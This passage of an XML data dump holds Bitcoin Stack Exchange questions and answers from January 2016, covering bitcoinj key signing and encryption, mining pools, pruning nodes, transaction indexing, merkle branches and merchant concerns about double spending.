channel.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-10T16:01:08.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42265" PostTypeId="2" ParentId="42245" CreationDate="2016-01-10T16:27:33.520" Score="1" Body="&lt;p&gt;Signing the bytes of the private key of &lt;code&gt;ECKey key&lt;/code&gt; is unacceptable because you are vulnerable for realeasing information about your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of signing a &lt;strong&gt;message&lt;/strong&gt;(as a String) you have to estimate the :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; byte[] result= sha256(message)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result will be a byte[] and this array finally will insert to the :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Sha256Hash input= new Sha256Hash(result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the procedure is simple in order to produce the &lt;strong&gt;ECDSASignature&lt;/strong&gt;.&#xA;You have to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ECDSASignature signature= key.sign(input);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally in order to validate your signature you have to check the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key.verify(input, signature)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2016-01-10T16:27:33.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42267" PostTypeId="1" CreationDate="2016-01-11T00:00:37.057" Score="1" ViewCount="179" Body="&lt;p&gt;The &lt;a href=&quot;http://tendermint.com/&quot; rel=&quot;nofollow&quot;&gt;Tendermint&lt;/a&gt; project sounds like a very promising  proof-of-stake implementation.  What public projects are being built on this platform?&lt;/p&gt;&#xA;" OwnerUserId="30990" LastActivityDate="2017-12-20T12:53:59.837" Title="Projects built on the Tendermint platform?" Tags="|alternatives|proof-of-work|" AnswerCount="1" CommentCount="0" ClosedDate="2020-05-06T08:13:18.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="42268" PostTypeId="1" CreationDate="2016-01-11T02:14:50.277" Score="-1" ViewCount="5369" Body="&lt;p&gt;I've been to mine with cpuminer with lots of different pools but nothing works!!! I only made it to mine litecoin on litecoinpool.org, but I need bitcoin! Which pool would you recommend?&lt;/p&gt;&#xA;" OwnerUserId="31864" LastActivityDate="2022-02-21T15:40:53.693" Title="I need to find a pool that supports cpuminer" Tags="|mining-pools|cpu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42269" PostTypeId="2" ParentId="42268" CreationDate="2016-01-11T07:45:29.603" Score="1" Body="&lt;p&gt;None exist. CPU mining had been impossible for years now. You better stop wasting energy and the life time of your computer.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-11T07:45:29.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42270" PostTypeId="2" ParentId="42210" CreationDate="2016-01-11T10:10:55.167" Score="0" Body="&lt;p&gt;In my opinion investing in a miner at present times is not profitable at all. You will be better off investing that amount of money buying bitcoins, since you will get more bitcoins that what you will end up mining.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2016-01-11T10:10:55.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42271" PostTypeId="2" ParentId="40846" CreationDate="2016-01-11T10:18:32.640" Score="0" Body="&lt;p&gt;You can check the &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain&lt;/a&gt; itself and see if the transaction has succeded and the amount in your wallet.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2016-01-11T10:18:32.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42272" PostTypeId="1" AcceptedAnswerId="48215" CreationDate="2016-01-11T13:12:50.040" Score="1" ViewCount="877" Body="&lt;p&gt;I am trying to decrypt my private key bytes using the &lt;code&gt;KeyCrypter&lt;/code&gt; interface. But i do not know how to implement and call the &lt;code&gt;decrypt()&lt;/code&gt; function. Initially i encrypt the bytes of my Private Key of my &lt;code&gt;ECKey&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private ECKey myKey;&#xA;private CharSequence password = &quot;myPassword&quot;;&#xA;&#xA;&#xA;public KeyParameter deriveKey(CharSequence password)&#xA;            throws KeyCrypterException {&#xA;&#xA;        String s = password.toString();&#xA;        KeyParameter keyParameter = new KeyParameter(s.getBytes());&#xA;&#xA;        return keyParameter;&#xA;    }&#xA;&#xA;    public EncryptedData encrypt(byte[] plainBytes,&#xA;            org.spongycastle.crypto.params.KeyParameter aesKey)&#xA;            throws KeyCrypterException {&#xA;&#xA;        plainBytes = myKey.getPrivKeyBytes();&#xA;&#xA;        EncryptedData myData = new EncryptedData(plainBytes, aesKey.getKey());&#xA;        System.out.println(myData);&#xA;&#xA;        return myData;&#xA;    }&#xA;&#xA;    public byte[] decrypt(EncryptedData encryptedBytesToDecode,&#xA;            KeyParameter aesKey) throws KeyCrypterException {&#xA;        // TODO Auto-generated method stub&#xA;&#xA;        return null;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is the byte [] result=...returning from my &lt;code&gt;decrypt()&lt;/code&gt; function?&lt;/p&gt;&#xA;" OwnerUserId="31202" LastActivityDate="2016-10-22T17:13:52.193" Title="Decrypt my private key using KeyCrypter" Tags="|private-key|bitcoinj|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42273" PostTypeId="1" CreationDate="2016-01-11T15:10:16.540" Score="1" ViewCount="654" Body="&lt;p&gt;I am trying to make a website that supports bitcoin, but I cant install bitcoin core because berkeleydb is under 4.8. I tried installing it via apt-get squeeze repository but that didn't work. I also downloaded the tar.gz file and installed that but that also didn't work. Does anyone know how I can install berkeleydb or what linux distro has full support of berkeleydb?&lt;/p&gt;&#xA;" OwnerUserId="31880" LastActivityDate="2016-10-16T00:17:56.073" Title="berkeley db debian wheezy" Tags="|bitcoind|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42274" PostTypeId="2" ParentId="42234" CreationDate="2016-01-11T16:08:17.580" Score="2" Body="&lt;p&gt;Mastercoin (now called Omni) had an uneasy relationship with the bitcoin core team early on. Some of them objected to our injecting metadata into the bitcoin blockchain to do advanced transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of their objections, we were concerned somebody might try to identify and censor our transactions. That didn't actually happen, thankfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't heard any talk of censorship for a long time now, so I doubt that will be a concern going forward. Still, we had plans in place in case it became an issue. But it hasn't been used and hopefully won't need to be.&lt;/p&gt;&#xA;" OwnerUserId="10138" LastEditorUserId="18196" LastEditDate="2016-07-27T21:04:07.907" LastActivityDate="2016-07-27T21:04:07.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42275" PostTypeId="2" ParentId="42233" CreationDate="2016-01-11T16:10:40.563" Score="1" Body="&lt;p&gt;This was a shortcut to easily identify all Mastercoin (now Omni) transactions. We considered removing it when we were concerned our transactions might be identified that way for censorship, but that never happened thankfully. If you list all transactions to 1EXoDus, you list all transactions in the Omni protocol.&lt;/p&gt;&#xA;" OwnerUserId="10138" LastActivityDate="2016-01-11T16:10:40.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42276" PostTypeId="1" CreationDate="2016-01-11T16:17:31.853" Score="2" ViewCount="1177" Body="&lt;p&gt;Is there a way to display on a website of mine, a new address for every transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g., I have a wallet, and every time it receives a donation, displays a new address on my website that corresponds to the address my wallet will recognize, so that no address ever receives two transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!!&lt;/p&gt;&#xA;" OwnerUserId="31336" LastActivityDate="2017-09-04T22:18:23.777" Title="Displaying rotating bitcoin address" Tags="|bitcoind|address-generation|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42277" PostTypeId="2" ParentId="42093" CreationDate="2016-01-11T16:55:30.547" Score="-2" Body="&lt;p&gt;This is certainly possible with &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/White-Paper&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ethereum&lt;/a&gt;. It won't meet the requirement of being &quot;simple to use for people that may or may not have previous BTC/blockchain experience&quot; but if you have programming experience you could hook up it up to a nice app or &lt;a href=&quot;https://github.com/ethereum/web3.js/tree/master&quot; rel=&quot;nofollow noreferrer&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatives that don't seem to meet your needs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23893/what-are-the-limits-of-m-and-n-in-m-of-n-multisig-addresses&quot;&gt;Bitcoin multisig&lt;/a&gt; allows up to 15 people voting on a single standard transaction. This has the most support and tools for people to that are new to the concept of a blockchain. Maybe you can do a delegate type setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Voting_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;NXT implemented a voting system&lt;/a&gt; that allows up to 100 answers. I'm not sure about the number of tools to make this easy to use for your average person.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-01-11T16:55:30.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42278" PostTypeId="2" ParentId="42138" CreationDate="2016-01-11T17:05:29.287" Score="1" Body="&lt;p&gt;Bitcore is a javascript library for interacting with Bitcoin. Bitcore is &lt;a href=&quot;https://bitcore.io/&quot; rel=&quot;nofollow&quot;&gt;built on top of bitcoind&lt;/a&gt; and doesn't replace it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcore.io/api/explorers/&quot; rel=&quot;nofollow&quot;&gt;Insight&lt;/a&gt; is probably the simplest way to run explorer-style queries if you've already got bitcoind set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively: I believe &lt;a href=&quot;https://github.com/btcsuite/btcd&quot; rel=&quot;nofollow&quot;&gt;btcd&lt;/a&gt; and &lt;a href=&quot;https://github.com/coinbase/toshi&quot; rel=&quot;nofollow&quot;&gt;Toshi&lt;/a&gt; offer similar functionality, but with different implementations than bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2016-01-11T17:05:29.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42279" PostTypeId="2" ParentId="42276" CreationDate="2016-01-11T19:36:25.873" Score="0" Body="&lt;p&gt;Your site can use the script &lt;a href=&quot;https://gist.github.com/colindean/5239812&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to generate a bitcoin address (and corresponding private key) 'on the fly'.  Then, you should be able to import the keys/addresses into your wallet.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2016-01-11T19:36:25.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42281" PostTypeId="1" CreationDate="2016-01-11T20:10:26.450" Score="7" ViewCount="1279" Body="&lt;p&gt;I'm currently looking into creating some compact merkle tree branches to prove that a given hash was included in a given merkle root. My initial thought was to list the leaf, the merkle root and all of the hashes that the given leaf was combined with to make the merkle root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BkXEl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkXEl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would state&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Leaf: 12c5&#xA;Root: 2f9c&#xA;Nodes: [d187, a8b5, 1328, d063]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, since the order of nodes matter for creating the merkle root, I would also need to list whether the node was on the left or right side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering - is there a canonical way of listing this information to create the merkle branches?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2024-03-04T10:15:42.747" Title="What is the canonical way of creating merkle tree branches?" Tags="|merkle-tree|standard|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42283" PostTypeId="2" ParentId="42261" CreationDate="2016-01-11T20:17:45.480" Score="1" Body="&lt;p&gt;I found out that long verification at start of bitcoin daemon can be caused by large number of keys generated and stored in wallet.dat. in my case &gt;1600 keys can take more than 30min of verification.&lt;/p&gt;&#xA;" OwnerUserId="31849" LastActivityDate="2016-01-11T20:17:45.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42284" PostTypeId="5" CreationDate="2016-01-11T20:30:24.830" Score="0" Body="&lt;p&gt;Contrary to popular belief, Bitcoin transactions are not completely anonymous or private. All transaction information is publicly available and each spend can be traced. Bitcoin offers privacy in that a 3rd party observer does not necessarily know who the participants in a transaction are and who received how much in each transaction. However privacy can be leaked through other sources such as exchanges, forum posts, and address reuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should be used for questions related to privacy and information that can be used to identify the source and destination of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T23:27:40.067" LastActivityDate="2017-10-20T23:27:40.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42285" PostTypeId="4" CreationDate="2016-01-11T20:30:24.830" Score="0" Body="Questions regarding the information that is leaked through cryptocurrency transactions or related processes, when subject to analysis and attempts of identification of sources and other properties." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-11T20:30:24.830" LastActivityDate="2016-01-11T20:30:24.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42286" PostTypeId="1" AcceptedAnswerId="42554" CreationDate="2016-01-11T23:12:32.600" Score="13" ViewCount="7646" Body="&lt;p&gt;I have port 8333 open with 8 outbound and 2 inbound connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my node transmitting and receiving transactions and blocks from both types of connections? Or does the &quot;inbound&quot; flag mean I am just downloading from that peer, and not sending any information back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for the sake of saving RAM, I set &lt;code&gt;maxconnections&lt;/code&gt; to 8, will they all be outbound? Even if port 8333 is open? In this configuration, is my node still &quot;helping&quot; the network?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2016-01-25T17:41:38.510" Title="What is the difference between inbound and outbound connections?" Tags="|peers|connection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42287" PostTypeId="1" AcceptedAnswerId="42298" CreationDate="2016-01-11T23:29:22.870" Score="5" ViewCount="2526" Body="&lt;p&gt;Pruning nodes are described in the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/35987/5406&quot;&gt;sourcecode&lt;/a&gt; thusly:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;-prune=&amp;lt;n&amp;gt;&lt;/code&gt;: Reduce storage requirements by pruning (deleting) old blocks. This mode is incompatible with &lt;code&gt;-txindex&lt;/code&gt; and &lt;code&gt;-rescan&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I’ve watched that my node has been consistently uploading less than it has been downloading since I set it to run in pruning mode.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What services do pruning nodes still perform?&lt;/li&gt;&#xA;&lt;li&gt;Do they upload blocks and transactions? &lt;/li&gt;&#xA;&lt;li&gt;Can they service thin clients? &lt;/li&gt;&#xA;&lt;li&gt;What can a pruning node &lt;strong&gt;not&lt;/strong&gt; do, that a non-pruning node does?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-11-16T21:32:27.213" LastActivityDate="2022-06-05T18:27:04.560" Title="What do pruning nodes contribute to the network?" Tags="|nodes|pruning|node-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42288" PostTypeId="2" ParentId="42287" CreationDate="2016-01-11T23:48:11.297" Score="0" Body="&lt;p&gt;A pruning node will trim the number of transactions you need to store. In the most extreme cases, they can store just the UTXO set and the most recent couple blocks, but the degree of pruning is variable, and up to the node operator. Think of it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alice sends 5 BTC from address 1www to Bob, at address 1xxx. &#xA;&#xA;Bob sends 2 BTC to Carl at address 1yyy, and 3 BTC to Dave at address 1zzz.&#xA;&#xA;Carl sends his 2 BTC to Dave at address 1zzz.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A normal node would need to store all the intermediate data, that is, (Alice -&gt; Bob), (Bob -&gt; Carl), (Bob -&gt; Dave), (Carl -&gt; Dave). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A pruning node, however, only &lt;em&gt;needs&lt;/em&gt; to store the final link in each step. If Alice has no more coins in her address, there is no need to keep it around, you can safely discard it. The pruning node would only contain the data for the UTXO set, in this case, the 5 coins that Dave has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pruning nodes can validate transactions, verify that the sender does in fact have coins to send, and relay them to the rest of the network. They can also be used by the owner to check their balance completely privately, no need to ask someone else who has a copy of the pruned chain.&lt;/p&gt;&#xA;" OwnerUserId="27899" LastEditorUserId="27899" LastEditDate="2016-01-12T00:22:35.210" LastActivityDate="2016-01-12T00:22:35.210" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="42290" PostTypeId="2" ParentId="30878" CreationDate="2016-01-12T00:23:35.410" Score="1" Body="&lt;p&gt;You will need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set txindex=1 in ~/.bitcoin/bitcoin.conf&lt;/li&gt;&#xA;&lt;li&gt;Restart bitcoind with -reindex option i.e., &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoind -reindex &amp;amp;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After this, use 'getrawtransaction' command and provide the additional argument '1' to get the response in JSON format, i.e.,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin-cli getrawtransaction your_tx_hash 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Interestingly, first getting the raw transaction in hex (without the additional argument 1) and then using 'decoderawtransaction' &lt;strong&gt;does not&lt;/strong&gt; give you the 'confirmations' field in the output.&lt;/p&gt;&#xA;" OwnerUserId="13713" LastEditorUserId="13713" LastEditDate="2016-01-12T14:55:00.137" LastActivityDate="2016-01-12T14:55:00.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42291" PostTypeId="1" CreationDate="2016-01-12T00:42:30.537" Score="2" ViewCount="1315" Body="&lt;p&gt;I've been looking around I can't understand or find a complete explanation of how to accomplish this, I've tried multiple way even this link &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25024/how-do-you-get-a-bitcoin-public-key-from-a-private-key&quot;&gt;How do you get a Bitcoin Public Key from a Private Key&lt;/a&gt; which is a similar question but still does not return the same uncompressed public key I create with NBITCOIN, can anyone help, thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="31889" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-01-12T01:38:30.300" Title="Creating publicKey from random programtically in c#" Tags="|public-key|c#|" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42292" PostTypeId="1" CreationDate="2016-01-12T02:13:30.963" Score="3" ViewCount="4299" Body="&lt;p&gt;I have a bit of bitcoin lingering in an old bitcoin wallet (circa 2011). I just restored it from a backup but I can't seem to load it into &lt;code&gt;bitcoin-qt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I launch the app, shut it down, the copy in my old &lt;code&gt;wallet.dat&lt;/code&gt; file and re-open, it shows a zero balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, instead, I shut it down, copy over the entirety of my old &lt;code&gt;.bitcoin&lt;/code&gt; folder, and then re-open, I get an immediate segfault. How screwed am I?&lt;/p&gt;&#xA;" OwnerUserId="31892" LastActivityDate="2018-03-12T02:48:42.407" Title="Recover Old Bitcoin Wallet (Currently getting a Segfault)" Tags="|wallet.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42294" PostTypeId="1" CreationDate="2016-01-12T07:22:23.400" Score="11" ViewCount="16367" Body="&lt;p&gt;I know that mining bitcoins via JavaScript is just pointless at this point in time, but is there any other altcoin that is worthwhile mining via a GPU/CPU via a JavaScript embedded into a web page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our website gets over 2 million unique visitors per day, with an average time of 5 minutes on site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there &lt;em&gt;anything&lt;/em&gt; we could do to get them to mine &lt;em&gt;something&lt;/em&gt; in order to get even $0.005 per visitor? or is it basically impossible? &lt;/p&gt;&#xA;" OwnerUserId="31898" LastEditorUserId="5406" LastEditDate="2016-02-21T11:09:06.283" LastActivityDate="2017-07-27T20:46:47.610" Title="Javascript Bitcoin miner is it even worth it?" Tags="|mining-profitability|javascript|webminer|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42295" PostTypeId="2" ParentId="42152" CreationDate="2016-01-12T08:03:25.530" Score="0" Body="&lt;p&gt;Sounds like you need to use getblocktemplate. If you do an http POST to &lt;a href=&quot;http://gbt.mining.eligius.st:9337&quot; rel=&quot;nofollow&quot;&gt;http://gbt.mining.eligius.st:9337&lt;/a&gt; with a body of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;: 0, &quot;method&quot;: &quot;getblocktemplate&quot;, &quot;params&quot;: [{&quot;capabilities&quot;: [&quot;coinbasetxn&quot;, &quot;workid&quot;, &quot;coinbase/append&quot;]}]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should get a transactions to process. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getblocktemplate&lt;/a&gt; for more information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find many other sites that support GBT but there is a list of compatible pools in the above link as well. &lt;/p&gt;&#xA;" OwnerUserId="31581" LastActivityDate="2016-01-12T08:03:25.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42298" PostTypeId="2" ParentId="42287" CreationDate="2016-01-12T13:29:51.737" Score="5" Body="&lt;p&gt;From release notes &lt;a href=&quot;https://bitcoin.org/en/release/v0.11.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/release/v0.11.0&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For now, block pruning disables block relay. In the future, nodes with block pruning will at a minimum relay “new” blocks, meaning blocks that extend their active chain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the current version pruning nodes don't advertise themselves as having any blocks, so they don't upload blocks. So that explains your big reduction in upstream data. A future update will re-enable block relay in such a way that your nodes can efficiently let its peers know which blocks it owns and which it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes your pruning node will do full validation and it will service lightweight nodes.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-12T13:29:51.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42299" PostTypeId="2" ParentId="19278" CreationDate="2016-01-12T14:03:27.803" Score="2" Body="&lt;p&gt;I am new in this area, but it seems the transaction id at the top is a hash in hex. The addresses that specify input and output of funds are encrypted information and so include alphabet other than a,b,c,d,e,f. This should be the main diffrence between top title figure and transaction figures and not the starting digits.&lt;/p&gt;&#xA;" OwnerUserId="31911" LastActivityDate="2016-01-12T14:03:27.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42303" PostTypeId="2" ParentId="42294" CreationDate="2016-01-12T16:17:38.050" Score="5" Body="&lt;p&gt;First off, without the visitor's consent it would be unethical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, no it is not impossible. In the past there were sites doing that getting a fee for the service and providing the profits to visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that it would provide way less than $0.005 per visitor. But with so many visitors it might still worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10320/how-useful-is-a-javascript-miner?rq=1&quot;&gt;this&lt;/a&gt; might be of help.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-01-12T16:17:38.050" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="42304" PostTypeId="1" CreationDate="2016-01-12T17:15:47.813" Score="0" ViewCount="166" Body="&lt;p&gt;How can merchants be alerted of Double-spending attacks? Let us take a hypothetical case where a merchant offer a BTC deposit wallet to his users, User deposits Bitcoins and it's credited to his account on 6 confirmations. Let's say, theoretically, the attack has been pulled off and he got his bitcoins back + the funds on the wallet remained as the database haven't been updated due to no alerts of any double spend attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question regarding this scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can merchant be alerted of any double-spend attacks ?&lt;/li&gt;&#xA;&lt;li&gt;Procedures to consider in the time of the attack ? e.g Shutting down servers to avoid confusion and recheck balances to avoid dead ends on user withdrawals&lt;/li&gt;&#xA;&lt;li&gt;How safe is it to run an out of the box Bitcoin Daemon?&lt;/li&gt;&#xA;&lt;li&gt;Will Bitcoin XT be alerting on any double spend transactions that occurred no matter how the attack succeeded ?&lt;/li&gt;&#xA;&lt;li&gt;Is it Okay to host a high bandwidth and Intensive website along with a bitcoin daemon?&lt;/li&gt;&#xA;&lt;li&gt;If a double-spend attack is pulled off, how to manually verify transactions via the bitcoin daemon and how to know how much amount lost ? Will the saved transaction hash can be re-usable to obtain info about the transactions using gettransaction?&lt;/li&gt;&#xA;&lt;li&gt;How Unlikely is it to pull of an attack to a website that credit users on 6 confirmations?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:::UPDATES:::&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read most of the answers and seems nobody is able to answer this question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If a double-spend attack is pulled off, how to manually verify transactions via the bitcoin daemon and how to know how much amount lost ? Will the saved transaction hash can be re-usable to obtain info about the transactions using gettransaction?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will the attack be able to pull off after 48 hours?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31881" LastEditorUserId="31881" LastEditDate="2016-01-13T12:29:12.200" LastActivityDate="2016-01-13T12:29:12.200" Title="Paranoid Merchants on double spending" Tags="|bitcoind|bitcoin-core|doublespend|merchants|bitcoin-xt|" AnswerCount="2" CommentCount="3" ClosedDate="2016-01-13T16:48:02.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="42305" PostTypeId="2" ParentId="42304" CreationDate="2016-01-12T17:43:29.943" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can merchant be alerted of any double-spend attacks ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Running their own daemon will achieve that. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Procedures to consider in the time of the attack ? e.g Shutting down servers to avoid confusion and recheck balances to avoid dead ends on user withdrawals&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any backend services run by a merchant &lt;em&gt;need&lt;/em&gt; to be able to handle block chain reorganisations anyway! They happen normally, randomly, and without malice. Shutting down is obviously not an option for an event which happens more than once a day. Not handling this behaviour will open the merchant up to rampant theft. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How safe is it to run an out of the box Bitcoin Daemon?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Reasonably, the daemon is generally considered to be safe and is written in a language that is normally considered to be safe (C++). However, there have been potential code execution problems due to &lt;code&gt;OpenSSL&lt;/code&gt; library and 